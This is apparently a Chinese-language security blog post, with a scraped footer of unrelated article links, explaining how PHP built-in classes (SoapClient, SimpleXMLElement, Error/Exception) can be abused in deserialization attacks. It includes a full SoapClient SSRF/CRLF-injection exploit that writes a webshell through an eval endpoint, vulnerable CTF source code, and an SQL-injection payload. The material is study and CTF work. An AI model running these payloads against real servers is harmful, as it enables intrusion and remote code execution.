前言：

　　这篇文章主要对一些可以进行反序列化的php内置类的分析总结（膜lemon师傅之前的总结），当然不是所有的php内置类在存在反序列化漏洞时都能够直接利用，有些类不一定能够进行反序列化，php中使用了zend_class_unserialize_deny来禁止一些类的反序列化，比如序列化DirectoryIterator的时候，DirectoryIterator主要用来输出目录，用法如下图

1.Soapclient

soapclient有两种工作模式，wsdl和非wsdl模式，WSDL 用来描述如何访问具体的接口，soap协议的具体格式可以参考这篇文章，soap采用http或者https协议发送数据，并且在http header头中通过soap action来标示自己是一个soap请求

https://www.cnblogs.com/JeffreySun/archive/2009/12/14/1623766.html

如果是在非wsdl模式下，将可以通过指定配置选项location和url来进行网络请求的发送，那就意味着我们可以通过该内置类来进行ssrf，当然需要有反序化条件为基础，通过触发其__call方法来发送网络请求，为啥要调用call方法来触发，我看了看php的源码，在ext/soap扩展里面发现了如下：

首先定位到定义__call方法的函数处，php源码定义某个方法是通过php_method前缀

然后调用了do_soap_call方法

然后就通过php源码中的do_request方法来发送网络请求

exp(来自wupco师傅)：

<?php

$target = 'http://127.0.0.1/test.php';

$post_string = '1=file_put_contents("shell.php", "<?php phpinfo();?>");';

$headers = array(

    'X-Forwarded-For: 127.0.0.1',

    'Cookie: xxxx=1234'

    );

$b = new SoapClient(null,array('location' => $target,
'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,

'uri'=> "aaab"));

//因为user-agent是可以控制的，因此可以利用crlf注入http头来发送post请求

$aaa = serialize($b);

$aaa = str_replace('^^','%0d%0a',$aaa);

$aaa = str_replace('&','%26',$aaa);

$c=unserialize(urldecode($aaa));

$c->ss();  //调用_call方法触发网络请求发送

?>

<?php

if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){

    echo 'hi';

    @$a=$_POST[1];

    @eval($a);

}

 ?>

执行exp后已经成功写入shell.php，说明反序列化soapclient对象成功，并且网站也是有权限写进去的，所以还是要对反序列化的数据进行严格过滤

如果是GET请求，就简单得多，只需要构造好location就可以

暨南大学2018校赛的一道CTF题

要利用反序列化soapclient当然要求服务器上的php开启了soap扩展，那么题目中给了phpinfo，可以看到soap是开启的，实际渗透测试中遇到反序列化的点，可以用exp盲打

给了两个php的源码：

index.php

<?php

ini_set('display_errors', 1);

ini_set('display_startup_errors', 1);

error_reporting(-1);

class Auth {

    public $username = '';

    public $login = 0;

    public function verify() {

        return 'FALSE';

    }

}

?>

<!DOCTYPE html>

<html>

<head>

<title>Login</title>

</head>

<body>

<h1>Login</h1>

<form action="" method="POST">

    <table>

        <tr>

            <td>Username</td>

            <td><input type="text" name="username"></td>

        </tr>

        <tr>

            <td>Password</td>

            <td><input type="password" name="password"></td>

        </tr>

        <tr>

            <td>Remember me <input type="checkbox" name="rememberme"></td>

            <td><input type="submit" value="Submit"></td>

        </tr>

    </table>

</form>

<p>

<?php

if (isset($_POST['username'])) {

    $auth = new Auth();

    $auth->username = $_POST['username'];

    setcookie('auth', base64_encode(serialize($auth)));

} elseif (isset($_COOKIE['auth'])) {

    $auth = unserialize(base64_decode($_COOKIE['auth']));

}

if (isset($auth)) {

    echo $auth->verify();

}

?>

</p>

</body>

</html>

sqldebug.php

<?php

include_once('db.php');

if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {

    die('you need to be 127.0.0.1');

}

$uid = isset($_GET['uid']) ? $_GET['uid'] : 1;

if (preg_match('/information_schema|database|sleep|benchmark|select(\/\*|[\(`\x00-\x20])/i', $uid)) {

    die('NONONO!');

}

$db = mysqli_connect('127.0.0.1', 'demo', MYSQL_PASSWORD, DB_NAME);

$sql = "SELECT * FROM `".TABLE_NAME."` WHERE `".COLUMN_ID."`='$uid'";

$result = $db->query($sql);

$result = $result->fetch_assoc();

echo $result[COLUMN_USERNAME];

mysqli_close($db);

?>

这里的$uid过滤不严格，导致可以注入，比如最简单的payload就为：

$location = "http://127.0.0.1:80/sqldebug.php?uid=1'%23  #将location替换即可

后面注入细节不再说了，具体注入分析见：

https://xz.aliyun.com/t/2960#toc-0

2.SimpleXMLElement

具体就是利用实例化该类的对象来传入xml代码进行xxe攻击

https://www.vulnspy.com/cn-ripstech-presents-php-security-calendar-2017/#M-tbRemYKdmb5mr4dRCndhHCM5YaFRaRf8

3.利用魔术方法__toString

a.Error----适用于php7版本----XSS

b.Exception----适用于php5、7版本----XSS

两个用法见lemon师傅博客https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

参考(侵删)：

https://xz.aliyun.com/t/2960#toc-0

https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

关于PHP内部类的一些总结学习的更多相关文章

回顾一年的IT学习历程与大学生活
今天是2015年8月27日,距离成为大三狗还有一个多星期,在这个不算繁忙的暑假的下午来总结一下这一年来,在IT方面的学习. 一.入门(2014.3) 我大一的专业是信息工程,信息工程听上去就是信息(I ...
Java 内部类分析
一.简介因为现在是Android开发实习生.发现在发展过程中越来越多,但他们知道什么时候该使用真实的情况,但没有获得,例如,使用内部类,因此,学习和自己的总结后发现,通过互联网的信息,家分享,如有不 ...
JAVA基础——内部类详解
JAVA内部类详解在我的另一篇java三大特性的封装中讲到java内部类的简单概要,这里将详细深入了解java内部类的使用和应用. 我们知道内部类可分为以下几种: 成员内部类静态内部类方法内部类 ...
“全栈2019”Java第九十六章：抽象局部内部类详解
难度初级学习时间 10分钟适合人群零基础开发语言 Java 开发环境 JDK v11 IntelliJ IDEA v2018.3 文章原文链接 "全栈2019"Java第 ...
20155235 2016-2017-1 《Java程序设计》第3周学习总结
20155235 2016-2017-1 <Java程序设计>第3周学习总结教材学习内容总结第四章认识对象类与对象定义类使用标准类对象指定与相等性基本类型打包器打包基本类 ...
“全栈2019”Java第六十七章：内部类、嵌套类详解
难度初级学习时间 10分钟适合人群零基础开发语言 Java 开发环境 JDK v11 IntelliJ IDEA v2018.3 文章原文链接 "全栈2019"Java第 ...
小白学Java：内部类
目录小白学Java:内部类内部类的分类成员内部类局部内部类静态内部类匿名内部类内部类的继承内部类有啥用小白学Java:内部类内部类是封装的一种形式,是定义在类或接口中的类. 内部类 ...
Java并发包源码学习系列：ReentrantReadWriteLock读写锁解析
目录 ReadWriteLock读写锁概述读写锁案例 ReentrantReadWriteLock架构总览 Sync重要字段及内部类表示写锁的获取 void lock() boolean writ ...
2018年秋季学期面向对象程序设计（JAVA）课程总结
2018年秋季学期面向对象程序设计(JAVA)课程总结时值2018年年末,按惯例对本学期教学工作小结如下: 1. 教学资源与教学辅助平台教材:凯 S.霍斯特曼 (Cay S. Horstmann) ...

随机推荐

netty的断线重连问题
手里的这个项目需要作为客户端,不断的接收服务端发来的数据,用的netty框架,但是一直存在一个问题,就是断线重连问题. 什么是断线重连呢? 就是我们这个客户端要保证一直与服务端保持连接,这样客户端才能 ...
JavaJDBC【六、连接池】
背景 1.连接是一种重要资源 2.频繁连接数据库会增加数据库压力常用连接池 dbcp 1.导入jar包(官网下载) commons-dbcp.jar commons-pool.jar commons ...
【3】Zookeeper中的角色
一.Zookeeper角色的分类领导者(leader) Leader服务器为客户端提供读服务和写服务. 学习者(learner) 跟随者(follower) Follower服务器为客户端提供读服务 ...
解决 Grep 的多次管道过滤问题
解决 Grep 的多次管道过滤问题这是个问题,解决了 tail -f crazy.log | grep --line-buffered Hello | grep Time 解决 Grep 的多次管道 ...
5、Sersync实时同步实战
1.实时同步概述 1.什么是实时同步, 只要当前目录发生变化则会触发一个事件,事件触发后将变化的目录同步至远程服务器. 2.为什么要实时同步, 保证数据的连续性, 减少人力维护成本, 解决nfs单点故 ...
（六）buildroot使用详解
为什么要使用buildroot? (文件系统搭建,强烈建议直接用buildroot,官网[http://buildroot.uclibc.org/]上有使用教程非常详细)文件系统通常要包含很多第三方软 ...
1.java多线程_实现线程的两种方式
1.java多线程基本知识 1.1.进程介绍不管是我们开发的应用程序,还是我们运行的其他的应用程序,都需要先把程序安装在本地的硬盘上.然后找到这个程序的启动文件, 启动程序的时候,其实是电脑把当前的 ...
Linux 命令配置IP
配置静态IP:ip addr add 192.168.18.18/24 dev eth0 启动网卡:ifup eth0/ifup ifcfg-eth0 添加默认网关路由:ip route add de ...
POJ1722 算法竞赛进阶指南 SUBSTRACT减操作
原题连接题目描述给定一个整数数组$a_1,a_2,-,a_n$. 定义数组第 i 位上的减操作:把$a_i$和$a_{i+1}$换成$a_i - a_{i+1}$. 用con(a, ...
php正则表达式验证手机/固定电话/邮箱/身份证/银行卡自定义函数
/** * 验证手机号码格式 * @param string $phone 手机号 * @return boolean */ function is_phone($phone) { $chars = ...